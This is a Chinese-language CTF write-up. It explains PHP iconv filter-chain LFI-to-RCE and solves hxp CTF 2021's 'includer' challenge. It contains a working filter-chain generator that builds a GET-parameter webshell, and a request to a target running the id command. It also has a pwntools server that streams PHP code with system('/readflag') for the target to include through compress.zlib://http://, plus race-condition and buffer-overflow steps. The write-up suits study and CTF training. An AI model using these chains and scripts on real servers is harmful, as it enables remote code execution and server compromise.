目录
9.3 hxp CTF - The End Of LFI?
9.3.1 TL;DR
- 在 PHP 中,我们可以利用 PHP Base64 Filter 宽松的解析,通过 iconv filter 等编码组合构造出特定的 PHP 代码进而完成无需临时文件的 RCE 。
- 第一部分介绍利用背景以及原理,第二部分简单介绍 Fuzz 编码规则的原理,第三部分介绍相关的 CTF 题目。 这里先贴一下作者的 exp 地址,以示尊重:Solving "includer's revenge" from hxp ctf 2021 without controlling any files
9.3.2 Back To LFI
- 原本以为上次通过 POST 过大的 Body 正文让 Nginx 产生 Tmp 进而配合多重链接绕过 PHP 包含限制完成 RCE 已经是非常绝妙的了,但是利用点可能也相对局限,毕竟只验证了 Nginx ,可能换到其他服务器就不行了。
- 但是,众所周知,LFI 是本地文件包含漏洞,突出一个文件,但是在 PHP 当中就比较的特殊了,我们可以通过 PHP Filter 来对文件进行一些简单的操作,例如比如 p 牛在 2016 年玩的令人印象深刻的利用的使用 Filter 技巧绕过死亡 exit 的操作:谈一谈php://filter的妙用 (完了,都 2024 年了,我还在学 P 牛 2016 年的老东西)。
- 我们可以简单回顾一下。
PHP Base64 filter
- 绕过死亡 exit 的文章(为了行文方便,下文以“ p 文”代称这篇文章)里面,我们可以知道,对于 PHP Base64 Filter 来说,会忽略掉非正常编码的字符,比如 p 文中就利用 PHP Filter Base64 可以去掉一些特殊字符:
- 所以,当
$content
被加上了<?php exit; ?>
以后,我们可以使用 php://filter/write=convert.base64-decode 来首先对其解码。在解码的过程中,字符<、?、;、>、空格等一共有7个字符不符合base64编码的字符范围将被忽略,所以最终被解码的字符仅有“phpexit”和我们传入的其他字符。- 回到 PHP Base64 ,那什么是合法字符呢?
- 合法字符只有
A-Za-z0-9\/\=\+
,其他字符会自动被忽略,那么包括不可见字符、控制字符什么的吗?- 简单做个验证:
<?php $a = "\x1bY\xffQ\xfa"; //YQ 为 a 的 base64 编码 var_dump(base64_decode($a)); // string(1) "a"
- 我们可以看到,PHP 在处理 Base64 字符串的时候完全忽略了非法字符,并且成功解码了。
- 好,让我们开始试一试吧!尝试 RCE 一句话
include
吧?!Iconv LFI
- 接下来,我们这里再回顾一下 LFI ,由于 PHP Filter 的存在,我们可以利用一些操作简单处理一下对文件的编码格式等,举一个简单的例子,如果我们有一个文件内容为
<?php phpinfo();
的 Base64 编码内容,当我们尝试include
的时候就可以执行成功了:include "php://filter/convert.base64-decode/resource=./e"; // the content of e: PD9waHAgcGhwaW5mbygpOw== // base64 code of `<?php phpinfo();` is: PD9waHAgcGhwaW5mbygpOw== (without the backquote)
- 所以,众所周知,
include
函数实际包含的是 Base64 解码后的 PHP 代码。- 那我们有没有办法通过编码形式,构造产生自己想要的内容呢?这里就提到了我们今天要介绍的技巧。
- PHP Filter 当中有一种
convert.iconv
的 Filter ,可以用来将数据从字符集 A 转换为字符集 B ,其中这两个字符集可以从iconv -l
获得,这个字符集比较长,不过也存在一些实际上是其他字符集的别名。- 举个简单的例子:
<?php $url = "php://filter/convert.iconv.UTF-8%2fUTF-7/resource=data:,some<>text"; echo file_get_contents($url); // Output: // some+ADwAPg-text
- 使用以上例子,我们可以通过 iconv 来将 UTF-8 字符集转换到 UTF-7 字符集。那么这个有什么用呢?
- 结合我们上述提到的编码、文件内容,我们是不是可以利用一些固定文件内容来产生 webshell 呢?
- 结合 PHP Base64 宽松性,即使我们使用其他字符编码产生了不可见字符,我们也可以利用
convert.base64-decode
来去掉非法字符,留下我们想要的字符。- 所以我们先假设我们的文件内容为 14 个 a 字符,我们可以通过暴力遍历 iconv 支持的字符编码形式,看我们得到的结果,例如:
$url = "php://filter/"; $url .= "convert.iconv.UTF8.CSISO2022KR"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; //我们这里简单使用 `data://` 来模拟文件内容读取。 var_dump(file_get_contents($url)); // hexdump: // 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 1b 24 29 43 |string(18) ".$)C| // 00000010 61 61 61 61 61 61 61 61 61 61 61 61 61 61 22 0a |aaaaaaaaaaaaaa".|
- 我们可以看到这个
UTF8.CSISO2022KR
编码形式,并且通过这个编码形式产生的字符串里面, C 字符前面的字符对于 PHP Base64 来说是非法字符,所以接下来我们只需要 base64-decode 一下就可以去掉不可见字符了,但是与此同时,我们的 C 字符也被 base64-decode 解码了,这时候我们需要再把解码结果使用一次 base64-encode 即可还原回来原来的 C 字符了。$url = "php://filter/"; $url .= "convert.iconv.UTF8.CSISO2022KR"; $url .= "|convert.base64-decode"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; var_dump(file_get_contents($url)); // hexdump // 00000000 73 74 72 69 6e 67 28 31 31 29 20 22 09 a6 9a 69 |string(11) "...i| // 00000010 a6 9a 69 a6 9a 69 a6 22 0a |..i..i.".| $url = "php://filter/"; $url .= "convert.iconv.UTF8.CSISO2022KR"; $url .= "|convert.base64-decode|convert.base64-encode"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; var_dump(file_get_contents($url)); // hexdump // 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 43 61 61 61 |string(12) "Caaa| // 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|
Craft Base64 Payload
- 那我们应该怎么构造需要的内容呢?因为 base64 编码合法字符里面并没有尖括号,所以我们不能通过以上方式直接产生 PHP 代码进行包含,但是我们可以通过以上技巧来产生一个 base64 字符串,最后再使用一次 base64 解码一次就可以了。
- 例如我们生成 `PAaaaaa` ,最后经过 base64 解码得到第一个字符为 < ,后续为其他不需要的字符(我们这里不需要的字符称为垃圾字符)的字符串。
- 所以我们接下来需要做的,就是利用以上技巧找到这么一类编码,可以只存在我们需要的构造一个 webshell 的 base64 字符串了。
- 我们先看作者使用的几个示例,例如字符 8 ,我们可以使用 `convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2` 来生成
$url = "php://filter/"; $url = $url."convert.iconv.UTF8.CSISO2022KR"; $url = $url."|convert.base64-decode|convert.base64-encode|"; $url .= "convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2"; // $url = $url."|convert.base64-decode|convert.base64-encode"; $url .= "/resource=data://,aaaaaaaaaaaaaa"; var_dump(file_get_contents($url)); // hexdump // 00000000 73 74 72 69 6e 67 28 35 32 29 20 22 38 01 fe 00 |string(52) "8...| // 00000010 43 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |C...a...a...a...| // 00000020 61 00 00 00 61 00 00 00 61 00 00 00 61 00 00 00 |a...a...a...a...| // * // 00000040 22 0a |".| // 起用了注释那一行后,即还原到 Base64 之后的 hexdump: // 00000000 73 74 72 69 6e 67 28 31 32 29 20 22 38 43 61 61 |string(12) "8Caa| // 00000010 61 61 61 61 61 61 61 61 22 0a |aaaaaaaa".|
- 我们可以通过这种形式来将前面部分的构造成我们所需要的 base64 字符串,最后 base64 解码即可成为我们想要的 PHP 代码了。
RCE
- 因为最终的 base64 字符串,是由 iconv 相对应的编码规则生成的,所以我们最好通过已有的编码规则来适当地匹配自己想要的 webshell ,比如
<?=`$_GET[0]`;;?>
- 以上 payload 的 base64 编码为
PD89YCRfR0VUWzBdYDs7Pz4=
,而如果只使用了一个分号,则编码结果为PD89YCRfR0VUWzBdYDs/Pg==
,这里 7 可能相对于斜杠比较好找一些,也可能是 exp 作者没有 fuzz 或者找到斜杠的生成规则,所以作者这里使用了两个分号避开了最终 base64 编码中的斜杠。- 根据以上规则,再将其反推回去即可,可以验证一下我们得到的结果:
<?php $base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"; $conversions = array( 'R' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2', 'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2', 'C' => 'convert.iconv.UTF8.CSISO2022KR', '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2', '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB', 'f' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213', 's' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61', 'z' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS', 'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932', 'P' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213', 'V' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5', '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', 'Y' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2', 'W' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2', 'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2', 'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2', '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2', '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' ); $filters = "convert.base64-encode|"; # make sure to get rid of any equal signs in both the string we just generated and the rest of the file $filters .= "convert.iconv.UTF8.UTF7|"; foreach (str_split(strrev($base64_payload)) as $c) { $filters .= $conversions[$c] . "|"; $filters .= "convert.base64-decode|"; $filters .= "convert.base64-encode|"; $filters .= "convert.iconv.UTF8.UTF7|"; } $filters .= "convert.base64-decode"; $final_payload = "php://filter/{$filters}/resource=/etc/passwd"; // echo $final_payload; var_dump(file_get_contents($final_payload)); echo file_get_contents('http://192.168.174.130:8088/index.php?action=include&file='.urlencode($final_payload).'&0=id'); // hexdump // 00000000 73 74 72 69 6e 67 28 31 38 29 20 22 3c 3f 3d 60 |string(18) "<?=`| // 00000010 24 5f 47 45 54 5b 30 5d 60 3b 3b 3f 3e 18 22 0a |$_GET[0]`;;?>.".|
- 这里需要注意的地方是:
convert.iconv.UTF8.UTF7
将等号转换为字母。之所以使用这个的原因是 exp 作者遇到过有时候等号会让convert.base64-decode
过滤器解析失败的情况,可以使用 iconv 从 UTF8 转换到 UTF7 ,会把字符串中的任何等号变成一些 base64 。但是实际测试貌似我遇到的情况并没有抛出 Error ,最差情况抛出了 warning 但不是特别影响,但是为了避免奇怪的错误,还是加上为好。
data://,
后的数据是为了方便展示,需要补足一定的位数,当然如果使用include
就不能用了,毕竟需要 RFI ,如果 RFI 选型能用,既然都是 RFI 了还整啥 LFI 呢2333- 当然通过以上案例,我们可以知道对于这种方法来说,其实文件内容并不重要,但至少得有内容,而且一般读取有内容的文件并不是大问题,所以我们可以简单尝试利用
/etc/passwd
:- 完成 RCE
9.4 Includer
- Difficulty estimate: medium
- Solved:9/321
- Points: round(1000 · min(1, 10 / (9 + [9 solves]))) = 556 points
- Description:
- Just sitting here and waiting for PHP 8.0 (lolphp).
- Download:
- includer-df39401c4c1c28ab.tar.xz (3.5 KiB)
- 题目给出源代码以及部署文件,源代码如下:
<?php declare(strict_types=1); // 生成一个随机的目录名称,并创建该目录 $rand_dir = 'files/'.bin2hex(random_bytes(32)); mkdir($rand_dir) || die('mkdir'); // 如果创建目录失败,则输出错误信息并终止脚本 // 设置环境变量 TMPDIR 为刚创建的目录路径 putenv('TMPDIR='.__DIR__.'/'.$rand_dir) || die('putenv'); // 如果设置环境变量失败,则输出错误信息并终止脚本 // 输出欢迎信息,包含用户提交的名字和随机目录路径 echo 'Hello '.$_POST['name'].' your sandbox: '.$rand_dir."\n"; try { // 读取用户提交的文件内容,若文件内容中不包含 '<?',则包含该文件 if (stripos(file_get_contents($_POST['file']), '<?') === false) { include_once($_POST['file']); } } finally { // 删除随机创建的目录及其所有内容 system('rm -rf '.escapeshellarg($rand_dir)); }
Configuration Error
- 其中配置文件有一个比较明显的配置错误:
location /.well-known { autoindex on; alias /var/www/html/well-known/; }
- 开启了列目录并且我们可以遍历到上层文件夹。
Upload Arbitrary Data
- 一开始我看到这个没有`<?`的形式,我想到的是p牛博客里面有关死亡 exit 的内容,奈何原文用的是`file_put_content`,我们这里用的是`file_get_contents`,并且这里的判断也在使用了`file_get_contents`函数之后进行判断是否有`<?`,所以这里的编码绕过就不太可能了。
- 而且这里最奇怪的就是之前用了一些看似无关紧要的代码,比如使用了`putenv()`函数等,给了我们一个 sandbox ,然而我们似乎无法利用表面的代码进行文件上传啥的操作。
- balsn 队伍在公开的 wp 中写了比较详细的源码分析,这里我就配合其中的 wp 进行一下简单的分析。
- 首先直接给出结论,我们可以使用`compress.zip://`流进行上传任意文件,接着我们来看看相关原理。
- 在php-src以找到该流的相关触发解析函数`php_stream_gzopen`;ext/zlib/zlib_fopen_wrapper.c
php_stream *php_stream_gzopen(php_stream_wrapper *wrapper, const char *path, const char *mode, int options, zend_string **opened_path, php_stream_context *context STREAMS_DC) { ... // 检查路径是否以 "compress.zlib://" 开头 // 如果是,将路径指针移动到 "compress.zlib://" 之后的位置 if (strncasecmp("compress.zlib://", path, 16) == 0) { path += 16; } // 检查路径是否以 "zlib:" 开头 // 如果是,将路径指针移动到 "zlib:" 之后的位置 else if (strncasecmp("zlib:", path, 5) == 0) { path += 5; } // 打开指定的路径,使用给定的模式、选项和上下文 // 这里使用的选项包括 STREAM_MUST_SEEK(流必须支持定位)和其他传入的选项 innerstream = php_stream_open_wrapper_ex(path, mode, STREAM_MUST_SEEK | options | STREAM_WILL_CAST, opened_path, context); ... return NULL; // 返回 NULL,表明函数没有返回有效的 php_stream 对象 }
- 我们可以看到有个标志位
STREAM_WILL_CAST
,我们可以先看看这个标志位用来干嘛,在main/php_streams.h
定义了该标志位:/* If you are going to end up casting the stream into a FILE* or * a socket, pass this flag and the streams/wrappers will not use * buffering mechanisms while reading the headers, so that HTTP * wrapped streams will work consistently. * If you omit this flag, streams will use buffering and should end * up working more optimally. * */ #define STREAM_WILL_CAST 0x00000020
- 很明显,这是一个用来将 stream 转换成 FILE* 的标志位,在这里就与我们创建临时文件有关了。
- 接着我们跟进
php_stream_open_wrapper_ex
函数,该函数在main/php_streams.h
中被 define 为_php_stream_open_wrapper_ex
。PHPAPI php_stream *_php_stream_open_wrapper_ex(const char *path, const char *mode, int options, zend_string **opened_path, php_stream_context *context STREAMS_DC) { // 省略部分代码,用于打开文件流 // 如果流不为空且选项中指定了必须可寻址 if (stream != NULL && (options & STREAM_MUST_SEEK)) { php_stream *newstream; // 尝试将流转换为可寻址的 switch(php_stream_make_seekable_rel(stream, &newstream, (options & STREAM_WILL_CAST) ? PHP_STREAM_PREFER_STDIO : PHP_STREAM_NO_PREFERENCE)) { case SUCCESS: // 如果转换成功,更新流 stream = newstream; break; case FAILURE: // 如果转换失败,执行错误处理逻辑 // 错误处理代码省略... break; } } // 省略处理流的代码 // 返回最终的流 return stream; }
- 该函数调用了
php_stream_make_seekable_rel
,并向其中传入了STREAM_WILL_CAST
参数,- 我们跟进
php_stream_make_seekable_rel
函数,它在main/php_streams.h
中被 define 为_php_stream_make_seekable
,继续跟进main/streams/cast.c/* {{{ php_stream_make_seekable */ PHPAPI int _php_stream_make_seekable(php_stream *origstream, php_stream **newstream, int flags STREAMS_DC) { // 如果 newstream 为 NULL,返回失败 if (newstream == NULL) { return PHP_STREAM_FAILED; } *newstream = NULL; // 初始化 newstream 为 NULL // 如果没有强制转换的标志,且原始流已经支持寻址操作 if (((flags & PHP_STREAM_FORCE_CONVERSION) == 0) && origstream->ops->seek != NULL) { *newstream = origstream; // 将 newstream 设置为原始流 return PHP_STREAM_UNCHANGED; // 返回流未发生变化 } // 如果需要创建一个新的临时流 if (flags & PHP_STREAM_PREFER_STDIO) { *newstream = php_stream_fopen_tmpfile(); // 创建临时文件流 } else { *newstream = php_stream_temp_new(); // 创建新的临时流 } // 省略将原始流内容复制到新流的逻辑 // 返回成功 return PHP_STREAM_SUCCESS; } /* }}} */
- 我们可以看到如果
flags
与PHP_STREAM_PREFER_STDIO
都被设置的话,而PHP_STREAM_PREFER_STDIO
在 main/php_streams.h 中已经被 define#define PHP_STREAM_PREFER_STDIO 1
- 我们只需要关心 flags 的值就好了,我们只需要确定 flags 的值非零即可,根据前面的跟进我们易知 flags 的在这里非零,所以这里就调用了
php_stream_fopen_tmpfile
函数创建了临时文件。- 于是我们可以做一个简单的验证,在本机上跑源代码,并用 pwntools 起一个服务用来发送一个大文件
from pwn import * import requests import re import threading import time # 定义一个函数,用于发送分块数据 def send_chunk(l, data): l.send('''{}\r {}\r '''.format(hex(len(data))[2:], data)) while(True): # 监听 9999 端口并等待连接 l = listen(9999) l.wait_for_connection() # 定义三个数据块,每个块填充到 8KB 大小 data1 = ''.ljust(1024 * 8, 'X') # 用 'X' 填充到 8KB data2 = '<?php system("/readflag"); exit(); /*'.ljust(1024 * 8, 'b') # 代码块,执行命令,填充到 8KB data3 = 'c*/'.rjust(1024 * 8, 'c') # 结束代码块,填充到 8KB # 接收 HTTP 请求头 l.recvuntil('\r\n\r\n') # 发送 HTTP 响应头,指定分块传输编码 l.send('''HTTP/1.1 200 OK\r Content-Type: exploit/revxakep\r Connection: close\r Transfer-Encoding: chunked\r \r ''') # 发送第一个数据块 send_chunk(l, data1) print('waiting...') print('sending php code...') # 发送包含 PHP 代码的第二个数据块 send_chunk(l, data2) # 暂停 3 秒 sleep(3) # 发送包含结束 PHP 代码的第三个数据块 send_chunk(l, data3) # 发送结束标志,表示所有数据块已发送完毕 l.send('''0\r \r \r ''') # 关闭连接 l.close()
- 这样我在本机上用 fswatch 很明显可以看到临时文件已经生成,并且文件内容就是我们发送的内容。
Keep Temp File
- 临时文件终究还是会被 php 删除掉的,如果我们要进行包含的话,就需要利用一些方法让临时文件尽可能久的留存在服务器上,这样我们才有机会去包含它。
- 所以这里是我们需要竞争的第一个点,基本上我们有两种方法让它停留比较久的时间:
使用大文件传输,这样在传输的时候就会有一定的时间让我们包含到文件了。
使用 FTP 速度控制,大文件传输根本上还是传输速度的问题,我们可以通过一些方式限制传输速率,比较简单的也可以利用
compress.zlib://ftp://
形式,控制 FTP 速度即可Bypass Waf
- 接下来我们就要看如何来对关键地方进行绕过了。
if (stripos(file_get_contents($_POST['file']), '<?') === false) { include_once($_POST['file']); }
- 这个地方问了很多师傅,包括一血的 TokyoWesterns 的队员以及参考了主要的公开 WP,基本都是 利用两个函数之间极端的时间窗进行绕过。
- 什么意思呢?也就是说,在极其理想的情况下,我们通过自己的服务先发送一段垃圾数据,这时候通过
stripos
的判断就是没有 PHP 代码的文件数据,接着我们利用 HTTP 长链接的形式,只要这个链接不断开,在我们绕过第一个判断之后,我们就可以发送第二段含有 PHP 代码的数据了,这样就能使include_once
包含我们的代码了。- 因为我们无法知道什么时候能绕过第一个判断,所以这里的方法只能利用竞争的形式去包含临时文件,这里是第二个我们需要竞争的点。
Leak Dir path
- 最后,要做到文件包含,自然得先知道它的文件路径,而文件路径每次都是随机的,所以我们又不得不通过某些方式去获取路径。
- 虽然我们可以直接看到题目是直接给出了路径,但是乍一看代码我们貌似只能等到全部函数结束之后才能拿到路径,然而之前我们说到的需要保留的长链接不能让我们立即得到我们的 sandbox 路径。
- 所以我们需要通过传入过大的 name 参数,导致 PHP output buffer 溢出,在保持连接的情况下获取沙箱路径,参考代码:
# 构造数据部分 data = '''file=compress.zlib://http://192.168.151.132:8080&name='''.strip() + 'a' * (1024 * 7 + 882) # 发送 POST 请求 r.send('''POST / HTTP/1.1\r Host: localhost\r Connection: close\r Content-Length: {}\r Content-Type: application/x-www-form-urlencoded\r Cookie: PHPSESSID=asdasdasd\r \r {}'''.format(len(data), data))
Get Flag——所以整个流程我们可以总结为以下:
利用
compress.zlib://http://
orcompress.zlib://ftp://
来上传任意文件,并保持 HTTP 长链接竞争保存我们的临时文件利用超长的 name 溢出 output buffer 得到 sandbox 路径
利用 Nginx 配置错误,通过
.well-known../files/sandbox/
来获取我们 tmp 文件的文件名发送另一个请求包含我们的 tmp 文件,此时并没有 PHP 代码
绕过 WAF 判断后,发送 PHP 代码段,包含我们的 PHP 代码拿到 Flag
整个题目的关键点主要是以下几点(来自 @wupco):
需要利用大文件或ftp速度限制让连接保持
传入name过大 overflow output buffer,在保持连接的情况下获取沙箱路径
tmp文件需要在两种文件直接疯狂切换,使得第一次
file_get_contents
获取的内容不带有<?
,include
的时候是正常php代码,需要卡时间点,所以要多跑几次才行
.well-known../files/
是nginx配置漏洞,就不多说了,用来列生成的tmp文件- 由于第二个极短的时间窗,我们需要比较准确地调控延迟时间,之前没调控好时间以及文件大小,挂一晚上脚本都没有 hit 中一次,第二天经过 @rebirth 的深刻指点,修改了一下延迟时间以及服务器响应的文件的大小,成功率得到了很大的提高,基本每次都可以 getflag。
- 脚本放在gist-exp.py,其中 192.168.34.1 是本地题目地址,192.168.151.132 是 client 的地址。